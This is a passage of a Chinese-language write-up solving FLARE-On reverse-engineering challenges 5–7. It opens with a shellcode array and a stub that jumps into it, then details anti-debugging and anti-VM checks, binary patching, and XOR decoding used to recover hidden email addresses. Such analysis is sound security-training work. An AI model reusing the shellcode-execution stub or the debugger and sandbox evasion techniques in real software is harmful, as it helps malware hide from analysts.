0x1C, 0x03, 0xF3, 0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x52, 0x33, 0xFF, 0x57, 0x68, 0x61, 0x72, 0x79,
0x41, 0x68, 0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x68,
0x33, 0x32, 0x01, 0x01, 0x66, 0x89, 0x7C, 0x24, 0x02, 0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0xFF,
0xD0, 0x68, 0x6F, 0x78, 0x41, 0x01, 0x8B, 0xDF, 0x88, 0x5C, 0x24, 0x03, 0x68, 0x61, 0x67, 0x65,
0x42, 0x68, 0x4D, 0x65, 0x73, 0x73, 0x54, 0x50, 0xFF, 0x54, 0x24, 0x2C, 0x57, 0x68, 0x44, 0x21,
0x21, 0x21, 0x68, 0x4F, 0x57, 0x4E, 0x45, 0x8B, 0xDC, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x14,
0x24, 0x81, 0x72, 0x0B, 0x16, 0xA3, 0xFB, 0x32, 0x68, 0x79, 0xCE, 0xBE, 0x32, 0x81, 0x72, 0x17,
0xAE, 0x45, 0xCF, 0x48, 0x68, 0xC1, 0x2B, 0xE1, 0x2B, 0x81, 0x72, 0x23, 0x10, 0x36, 0x9F, 0xD2,
0x68, 0x71, 0x44, 0xFA, 0xFF, 0x81, 0x72, 0x2F, 0xF7, 0xA9, 0xA9, 0x0C, 0x68, 0x84, 0xE9, 0xCF,
0x60, 0x81, 0x72, 0x3B, 0xBE, 0x93, 0xA9, 0x43, 0x68, 0xD2, 0xA3, 0x98, 0x37, 0x81, 0x72, 0x47,
0x82, 0x8A, 0x62, 0x3B, 0x68, 0xEF, 0xA4, 0x11, 0x4B, 0x81, 0x72, 0x53, 0xD6, 0x47, 0xC0, 0xCC,
0x68, 0xBE, 0x69, 0xA4, 0xFF, 0x81, 0x72, 0x5F, 0xA3, 0xCA, 0x54, 0x31, 0x68, 0xD4, 0xAB, 0x65,
0x52, 0x8B, 0xCC, 0x57, 0x53, 0x51, 0x57, 0x8B, 0xF1, 0x89, 0xF7, 0x83, 0xC7, 0x1E, 0x39, 0xFE,
0x7D, 0x0B, 0x81, 0x36, 0x42, 0x45, 0x45, 0x46, 0x83, 0xC6, 0x04, 0xEB, 0xF1, 0xFF, 0xD0, 0x68,
0x65, 0x73, 0x73, 0x01, 0x8B, 0xDF, 0x88, 0x5C, 0x24, 0x03, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68,
0x45, 0x78, 0x69, 0x74, 0x54, 0xFF, 0x74, 0x24, 0x40, 0xFF, 0x54, 0x24, 0x40, 0x57, 0xFF, 0xD0
};

int main(int argc, const char **argv, const char **envp)
{
printf(“11111111111111111111111”);

__asm
{
lea eax, shellcode;
jmp eax;
}
return 0;
}
[/cce]

第五题

这道题真是白了少年头啊…

最终是通过flare, com这两个关键词组推理出 _cfltcvt_init 函数内各个变量之间的关系…

实际上稍微注意下函数 _cfltcvt_init 内各个变量的使用情况就可以发现, 除了初始化各个变量时都赋值一次外, 每个变量都有两次赋值(先赋值为1, 后赋值为0)和一次与0比较. 每当变量值大于0时, 马上赋值为0, 并且给另外一个变量赋值1, 因此推断这个变量应该首先赋值1, 然后与0比较, 如果大于0则让你等于0, 然后让另外一个变量值为1, 因此可猜测这些变量的赋值操作是有顺序的, 每一次赋值都是设置标志位, 标志着上一道手续已经完成, 该进行下一道手续了, 而唯一要做的手续就是构造字符串. 因此, 只要按照各个变量的赋值顺序顺藤摸瓜即可.

按照这个理论去推算 flare, com, 发现完全符合, 并且推算出中间的破折号是 dash, on 字母还是 on, 英文句点是 dot, 剩下的就是从 _cfltcvt_init 函数内第一个变量开始推理了, 最终结果:

[cce]l0ggingdoturdot5tr0ke5atflaredashondotcom
[/cce]

去掉 dot, at, dash, 得到:

[cce][email protected]
[/cce]

PS: 没有找到一个简单的方法让这个程序自己输出邮箱地址…


第六题

各种坑, 各种混淆, 还有反调试, 把我这个菜鸟快坑死了…

刚开始时完全不知道如何入手, 于是自己写 Hello World 测试, 确定 main 函数位置…

后来得到大牛指导, 根据程序输出内容确定 printf 函数位置并标记它, 而且这个程序也是与参数有关的.

OK, 得到大牛指点后就标记了 printf 函数, 并且测试了当参数不同时程序的输出有什么不同, 测试发现:

  • 一个参数: 输出 no;
  • 两个参数: 输出 bad;
  • 三个或三个以上参数: 输出 stahp

根据以上信息可推测程序应该只接受两个参数, 后面的分析也证明是这样~

另外, 在使用 strace 命令查看程序的系统调用时也可以发现, 只要参数个数不是两个的时候, 程序行为与是否被 strace 监控无关, 一旦程序有两个参数时, 这个程序就有个反调试判定:

[cce]#!bash
[email protected]:~/Desktop/6# strace -i ./e7bc5d2c0cf4480348f5504196561297 1 1
[ 7fc5b45bba87] execve(“./e7bc5d2c0cf4480348f5504196561297”, [“./e7bc5d2c0cf4480348f55041965612″…, “1”, “1”], [/* 30 vars */]) = 0
[ 4a9297] uname({sys=”Linux”, node=”kali”, …}) = 0
[ 4aa78a] brk(0) = 0x1441000
[ 4aa78a] brk(0x14421c0) = 0x14421c0
[ 45e3f5] arch_prctl(ARCH_SET_FS, 0x1441880) = 0
[ 4aa78a] brk(0x14631c0) = 0x14631c0
[ 4aa78a] brk(0x1464000) = 0x1464000
[ 47431b] ptrace(PTRACE_TRACEME, 0, 0x1, 0) = -1 EPERM (Operation not permitted)
[ 473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 6), …}) = 0
[ 47509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f04f4220000
[ 473f50] write(1, “Program received signal SIGSEGV,”…, 52Program received signal SIGSEGV, Segmentation fault
) = 52
[ 473dd8] exit_group(9001) = ?
[/cce]

OK, 根据提示信息, 找到地址为 47431b 的位置, 发现这是一个值为 65h 的系统调用, 查看GNU/linux系统调用列表 发现它是 __NR_ioperm: //101设置端口I/O权限, 不知道为什么在此处却变成了 __NR_ptrace: // 26进程跟踪 调用了, 请求大牛指点~

上面这个地方就是反调试的地方了, 直接将调用这个函数的地方修改 NOP, 也就是 42F211 处的 E8 9A 50 05 00 五个字节全改为 90 即可.

然后就可以用 kali 自带的 edb 调试了(相比 gdb, 这货没有 backtrace 这样牛逼的命令啊).

通过 bad 字符串可以确定第一个参数长度为 10 个字节, 而且每个字节与 56h 异或后等于字符串 bngcg`debd, 因此可以反推出第一个参数是 4815162342. 下面这段代码是异或第一个参数的:

[cce]#!bash
.text:0000000000437149 loc_437149: ; CODE XREF: sub_435E20+139Fj
.text:0000000000437149 mov eax, [rbp+var_C4]
.text:000000000043714F cdqe
.text:0000000000437151 add rax, [rbp+var_230]
.text:0000000000437158 mov edx, [rbp+var_C4]
.text:000000000043715E movsxd rdx, edx
.text:0000000000437161 add rdx, [rbp+var_230]
.text:0000000000437168 movzx edx, byte ptr [rdx]
.text:000000000043716B xor edx, 56h
.text:000000000043716E mov [rax], dl
.text:0000000000437170 add [rbp+var_C4], 1
[/cce]

看看第一个参数检测通过后程序做了什么:

[cce]#!bash
[email protected]:~/Desktop/6# strace -i ./test 4815162342 a
[ 7ff6ad0f4a87] execve(“./test”, [“./test”, “4815162342”, “a”], [/* 31 vars */]) = 0
[ 4a9297] uname({sys=”Linux”, node=”kali”, …}) = 0
[ 4aa78a] brk(0) = 0x10c9000
[ 4aa78a] brk(0x10ca1c0) = 0x10ca1c0
[ 45e3f5] arch_prctl(ARCH_SET_FS, 0x10c9880) = 0
[ 4aa78a] brk(0x10eb1c0) = 0x10eb1c0
[ 4aa78a] brk(0x10ec000) = 0x10ec000
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 473d50] nanosleep({3600, 0},
[/cce]

程序卡住了, sleep 3600秒, 查看下有两处调用这个函数, 分别设置断点, 最终确认是 473C67 处调用的, 将其设置为空指令~

再使用 strace 跟踪程序, 什么都发现不了了…

[cce]#!bash
[email protected]:~/Desktop/6# strace ./test 4815162342 a
[ 7fbf6cd9ea87] execve(“./test”, [“./test”, “4815162342”, “a”], [/* 30 vars */]) = 0
[ 4a9297] uname({sys=”Linux”, node=”kali”, …}) = 0
[ 4aa78a] brk(0) = 0x103c000
[ 4aa78a] brk(0x103d1c0) = 0x103d1c0
[ 45e3f5] arch_prctl(ARCH_SET_FS, 0x103c880) = 0
[ 4aa78a] brk(0x105e1c0) = 0x105e1c0
[ 4aa78a] brk(0x105f000) = 0x105f000
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
[ 47c882] rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0
[ 47c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
[ 7fffc3975aec] _exit(140736474871580) = ?
[/cce]

此时, 我忘记之前是如何发现处理第二个参数的地方了…仔细想想, 当时应该是花费了大量时间筛选程序结构, 利用类似二分法的方式排除了大量无用函数后才刚好碰到了处理第二个参数的地方了.

现在重新来过肯定不能用这个笨方法了, 之前大牛提到过给参数下访问断点的事情, 好吧, 给第二个参数下访问断点吧. 此时就不能用 edb 调试了, 只能祭出神器 gdb 了, 在 main 下断点, 确定第二个参数的内存地址, 然后使用 watch 命令给该地址下访问断点, 运行程序, 当程序停下来时查看函数调用桟:

[cce]#!bash
(gdb) bt
#0 0x00007fffffffd15f in ?? ()
#1 0x00007fffffffd148 in ?? ()
#2 0x000000000044bb2d in ?? ()
#3 0x000000000044c8f1 in ?? ()
#4 0x000000000044eabc in ?? ()
#5 0x000000000045bf71 in ?? ()
#6 0x000000000045dd01 in ?? ()
#7 0x000000000045dea4 in ?? ()
#8 0x0000000000401081 in ?? ()
#9 0x00007fffffffe438 in ?? ()
#10 0x0000000000000000 in ?? ()
[/cce]

此时执行反汇编命令 disassemble 失败:

[cce]#!bash
(gdb) disassemble
No function contains program counter for selected frame.
[/cce]

那就还是在 edb 中调试吧~~~

切换到 edb,查看 0x44bb2d 处汇编代码, 在 0x44bb2b 处下断点, 然后跟进函数调用即可看到第二个参数的验证过程:

[cce]#!bash
.text:000000000044BB13 lea rdx, [rbp+var_440]
.text:000000000044BB1A mov rax, [rbp+var_450]
.text:000000000044BB21 add rax, 10h
.text:000000000044BB25 mov rax, [rax]
.text:000000000044BB28 mov rdi, rax
.text:000000000044BB2B call rdx
.text:000000000044BB2D
.text:000000000044BB2D loc_44BB2D: ; CODE XREF: sub_44B942+AEj
.text:000000000044BB2D mov [rbp+var_2B], 44h
.text:000000000044BB31 mov [rbp+var_25], 44h
.text:000000000044BB35 cmp [rbp+var_25], 44h
.text:000000000044BB39 jz short loc_44BB6C
[/cce]

最终得出第二个参数是 [email protected].

因此, 该程序的两个参数分别是 4815162342 [email protected]

附录:

gdb中查看字符串:

[cce]#!bash
p “%s”, *(char*)[email protected]
[/cce]

生成第二个参数的C语言代码(程序中验证过程的逆运算):

注: 每个函数可生成/输出一个字母, 函数名是测试时各个跳转的内存地址, 仅供参考.

[cce]#!c
#include

unsigned char CROL(unsigned char c, int bits)
{
if (bits > 8)
bits = bits % 8;

return (c << bits) | (c >> (8 – bits));
}

unsigned char CROR(unsigned char c, int bits)
{
if (bits > 8)
bits = bits % 8;

return (c >> bits) | (c << (8 - bits)); } unsigned char c = 0; void e87c() { c = 27; c = CROL(c, 0xf2); printf("%c", c); } void e886() { c = 48; c = c ^ 0xb3; c = c ^ 0xf2; c = c ^ 64; printf("%c", c); } void e89a() { c = 31; c = c ^ 113; printf("%c", c); } void e8a8() { c = 0xb0; c = CROL(c, 0xbc); c -= 0xa3; printf("%c", c); } void e8b9() { c = 0xe8; c += 121; printf("%c", c); } void e8c7() { c = 0xf6; c += 40; c = CROL(c, 0x82); printf("%c", c); } void e8d8() { c = 31; c -= 44; c = CROL(c, 77); c += 0xb0; printf("%c", c); } void e8ec() { c = 0xaf; c -= 63; c = CROL(c, 42); c = c ^ 0xb8; c = CROR(c, 0x99); c -= 84; printf("%c", c); } void e906() { c = 93; c = CROL(c, 0xba); printf("%c", c); } void e914() { c = 41; c -= 48; c = CROL(c, 108); c = c ^ 0xed; printf("%c", c); } void e928() { c = 0xb5; c += 0xbf; printf("%c", c); } void e936() { c = 0xa5; c -= 99; c += 49; c = CROR(c, 123); c -= 0x8c; c = CROR(c, 0xbc); printf("%c", c); } void e950() { c = 0xf3; c = CROR(c, 0x98); c = c ^ 0xae; c = CROR(c, 22); c = CROR(c, 32); printf("%c", c); } void e967() { c = 0xa6; c -= 0xd2; c = CROL(c, 110); printf("%c", c); } void e978() { c = 98; c -= 52; printf("%c", c); } void e986() { c = 50; c = c ^ 0xb2; c -= 98; c += 16; c -= 0xcd; printf("%c", c); } void e99d() { c = 0xeb; c = CROL(c, 7); c = c ^ 115; c = c ^ 0xb7; printf("%c", c); } void e9b1() { c = 11; c += 76; c -= 91; c = CROL(c, 54); c += 97; c -= 52; printf("%c", c); } void e9cb() { c = 0x9a; c -= 90; printf("%c", c); } void e9d9() { c = 0x99; c = CROL(c, 0xa2); printf("%c", c); } void e9e7() { c = 43; c += 0xe7; c = c ^ 126; printf("%c", c); } void e9f8() { c = 0xaf; c = CROR(c, 87); c = CROL(c, 74); c -= 78; c = c ^ 0x86; c += 0xb8; printf("%c", c); } void ea12() { c = 0xc3; c = c ^ 0xad; c = c ^ 74; c = CROR(c, 0x95); c = c ^ 0xe8; c = CROL(c, 0x86); printf("%c", c); } void ea2c() { c = 3; c -= 28; c = c ^ 0xcc; c = CROL(c, 69); printf("%c", c); } void a40() { c = 0xe3; c += 74; printf("%c", c); } void a4e() { c = 0xca; c = CROL(c, 0x90); c = c ^ 0xa5; printf("%c", c); } // n void a5f() { c = 62; c += 0xd8; c = c ^ 120; c = CROR(c, 54); c = CROL(c, 0xde); printf("%c", c); } // . void a76() { unsigned char c = 0xd8; c = CROR(c, 17); c = CROR(c, 0xa2); c = CROL(c, 0x89); c += 0xad; c -= 0xb5; printf("%c", c); } // c void a90() { unsigned char c = 0x82; c = CROL(c, 0xc0); c += 33; c -= 64; printf("%c", c); } // o void aa4() { char c = 123; c = CROR(c, 0xe3); printf("%c", c); } // m void ab2() { char c = 0xd7; c = CROL(c, 0xf6); c += 120; printf("%c", c); } int main() { e87c(); e886(); e89a(); e8a8(); e8b9(); e8c7(); e8d8(); e8ec(); e906(); e914(); e928(); e936(); e950(); e967(); e978(); e986(); e99d(); e9b1(); e9cb(); e9d9(); e9e7(); e9f8(); ea12(); ea2c(); a40(); a4e(); a5f(); a76(); a90(); aa4(); ab2(); return 0; } [/cce]


第七题

这个程序使用了大量反调试/反虚拟机/根据时间定期触发行为的特性, 并且每通过一个检测点后就会对程序异或解密一次, 如果所有的检测点都通过后, 会生成一个 dotNet 程序, 然后再破解这个 dotNet 程序, 找出邮箱地址.

这个程序在第一个函数 call test.00401030 使用 IsDebuggerPresent 函数检测是否被调试, 如果程序被调试这个函数返回非零值, 否则返回值为0.

第二个函数 call test.004010C0 检查 PEB(Process Environment Block)BeingDebugged 标志, 如果值为 1 则表示该程序被调试. 其偏移位置为 FS:[0x32]. (FS:0 指向 TEB(Thread Environment Block), FS:[0x30] 指向 PEB, 而 BeingDebuggerPEB 偏移 2h 处).

第三个函数 call test.00401130 通过 sidt 指令获取中断描述符表 IDT(Interrupt Descriptor Table) 的地址, 如果 IDT 地址为 0xFFxxxxxx, 则认为程序运行在虚拟机中, 拒绝解密代码. 在 VMware 的虚拟机上 IDT 位于地址 0xFFxxxxxx, 而真实机地址为 0x80xxxxxx. 不过比较幸运的是由于VMware更新, 这个检测点已经失效了, 所以此函数不需要修改了.

第四个函数 call test.004011D0 通过执行特权指令 in 来检测虚拟机, 此处使用功能号 0A 获取VMware, 检测其返回值是否为 VMXH.

第五个函数 call test.004012A0 连续调用 SetLastError, OutputDebugStringWGetLastError 函数, 如果程序被调试, 则 OutputDebugStringW 调用成功, GetLastError 返回值仍旧是刚刚通过 SetLastError 设置的值.

第六个函数 call test.00401350 检测从地址区间 test.00401030~test.00401780 内指令操作码 0xCC 数目是否等于 0x55, 如果不等, 则认为程序被调试.

第七个函数 call test.004013F0 检测 PEB 偏移 68h 处的 NtGlobalFlag 标志, 当程序被调试时, 该值等于 70h.

第八个函数 call test.00401460 检测当前日期是否为任意一个月的 5 号, 如果是 5 号的话就解密程序…

然后是获取当前进程文件的路径以及参数的起始地址, 存放在 eax 中. 此处要将 eax 指向的字符串修改为 backdoge.exe, 后面函数会使用到这个检测点.

第九个函数 call test.004014F0 检查 eax 指向的字符串是否等于 backdoge.exe, 如果是则解密程序….

第十个函数 call test.00401590 有两个检测点, 但是, 如果检测条件为真的话会 混淆(不是解密哦) 代码, 所以一定要确保检测点为假. 不过一般情况下本函数不需要修改. 因为目前大多还在使用 IPv4, 并且不会将 www.dogecoin.com 重定向到 127.0.0.1(这个检测点有点怪, 谁会将这个域名重定向到127.0.0.1呢???).

第十一个函数 call test.004016F0 又是检测时间的. 如果当前时间点为 17点 的话, 则通过检测, 解密代码.

[cce]#!bash
00401B13 > \E8 18F5FFFF call test.00401030
00401B18 . E8 A3F5FFFF call test.004010C0
00401B1D . E8 0EF6FFFF call test.00401130
00401B22 . E8 A9F6FFFF call test.004011D0
00401B27 . E8 74F7FFFF call test.004012A0
00401B2C . E8 1FF8FFFF call test.00401350
00401B31 . E8 BAF8FFFF call test.004013F0
00401B36 . E8 25F9FFFF call test.00401460
00401B3B . 8B06 mov eax, dword ptr ds:[esi]
00401B3D . E8 AEF9FFFF call test.004014F0
00401B42 . E8 49FAFFFF call test.00401590
00401B47 . E8 A4FBFFFF call test.004016F0
[/cce]

后面这段代码是解密代码的, 不用管.

[cce]#!bash
00401B4C |. 8B1D 38945100 mov ebx, dword ptr ds:[test.519438]
00401B52 |. 8B3E mov edi, dword ptr ds:[esi]
00401B54 |. 33C9 xor ecx, ecx
00401B56 |. 85DB test ebx, ebx
00401B58 |. 74 29 jz short test.00401B83
00401B5A |. 8D9B 00000000 lea ebx, [ebx]
00401B60 |> B8 ABAAAAAA /mov eax, AAAAAAAB
00401B65 |. F7E1 |mul ecx
00401B67 |. C1EA 03 |shr edx, 3
00401B6A |. 8D0452 |lea eax, [edx*2+edx]
00401B6D |. 03C0 |add eax, eax
00401B6F |. 03C0 |add eax, eax
00401B71 |. 8BD1 |mov edx, ecx
00401B73 |. 2BD0 |sub edx, eax
00401B75 |. 8A043A |mov al, byte ptr ds:[edi+edx]
00401B78 |. 3081 F8314100 |xor byte ptr ds:[ecx+test.4131F8], al
00401B7E |. 41 |inc ecx
00401B7F |. 3BCB |cmp ecx, ebx
00401B81 |.^ 72 DD \jb short test.00401B60
[/cce]

第十二个函数 call test.004017A0. 这个函数与 第十个函数 检测类似, 如果您没有修改第十个检测函数, 即您电脑使用了 IPv4, 则本函数也不需要修改.

第十三个函数 call test.004018A0 需要翻墙访问 https://twitter.com/FireEye/status/484033515538116608, 读取页面内容, 将 Secluded Hi 后面的 7 个字节(也就是 jackRAT)作为异或解密的密钥解密程序. 你可以翻墙, 或者本地搭服务器修改host~

[cce]#!bash
00401B83 |> \E8 18FCFFFF call test.004017A0
00401B88 |. E8 13FDFFFF call test.004018A0 ; [test.004018A0
[/cce]

至此, ***|||||||*之间的代码已被解密, 除了 MZPE 标志字符串以外, 这段内存已经是个标志的PE文件了. 下面这段代码就是取第一个参数设置 MZ 标志位, 取第二个参数设置 PE 标志位:

[cce]#!bash
00401B8D . 8B4E 04 mov ecx, dword ptr ds:[esi+0x4]
00401B90 . 0FB611 movzx edx, byte ptr ds:[ecx]
00401B93 . 8815 F8314100 mov byte ptr ds:[0x4131F8], dl
00401B99 . 8B46 04 mov eax, dword ptr ds:[esi+0x4]
00401B9C . 8A48 01 mov cl, byte ptr ds:[eax+0x1]
00401B9F . 880D F9314100 mov byte ptr ds:[0x4131F9], cl
00401BA5 . 8B56 08 mov edx, dword ptr ds:[esi+0x8]
00401BA8 . 8A02 mov al, byte ptr ds:[edx]
00401BAA . A2 78324100 mov byte ptr ds:[0x413278], al
00401BAF . 8B4E 08 mov ecx, dword ptr ds:[esi+0x8]
00401BB2 . 0FB651 01 movzx edx, byte ptr ds:[ecx+0x1]
[/cce]

因此, 这个程序的0两个参数分别为 MZPE.

再后面就是将解密后的程序写入文件 gratz.exe 并运行了.

程序运行界面: flare-on challenge 7

这是个 .Net 程序, 拖到 ILSpy 里, 可以看到如下程序结构:

flare-on challenge 7

其中, lulz.decoder1, lulz.decoder2, lulz.decoder3lulz.decoder4 都是将输入字符串的每个字符经过一系列转换后生成解密后的字符. 解密后发现 lulz.datwork 里面使用SMTP协议发送邮件的几个设置都是错误的, 其具体值为:

[cce]#!bash
To: [email protected]
Subject: [email protected]
From: [email protected]
SmtpClient: smtp.secureserver.net
[/cce]

另外还发现没有使用 lulz.decoder4. 后来在 From1.lulzors 里面发现有调用 lulz.decoder4, 刚好这个函数是界面初始化的函数:

[cce]#!c#
// Finisher.Form1
public void lulzors()
{
lulz lulz = new lulz();
Thread thread = new Thread(new ThreadStart(lulz.datwork));
thread.Start();
while (thread.IsAlive)
{
}
this.label2.Text = lulz.decoder4(“\v\fP\u000e\u000fBA\u0006\rG\u0015I\u001a\u0001\u0016H\\\t\b\u0002\u0013/\b\t^\u001d\bJO\a]C\u001b\u0005”);
}
[/cce]

这个 Form1.label2 应该就是程序界面下方空白的那一部分吧, 把调用 lulz.decoder4 这一行单独拿出来执行, 其结果为:

[cce][email protected]
[/cce]

这个就是最终正确的邮箱地址了.

当然也可以修改程序, 让程序直接输出邮箱地址:

flare-on challenge 7

参考链接:

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评论:被第7题搞醉了,等了好久,终于有人有解答了,我得好好看看

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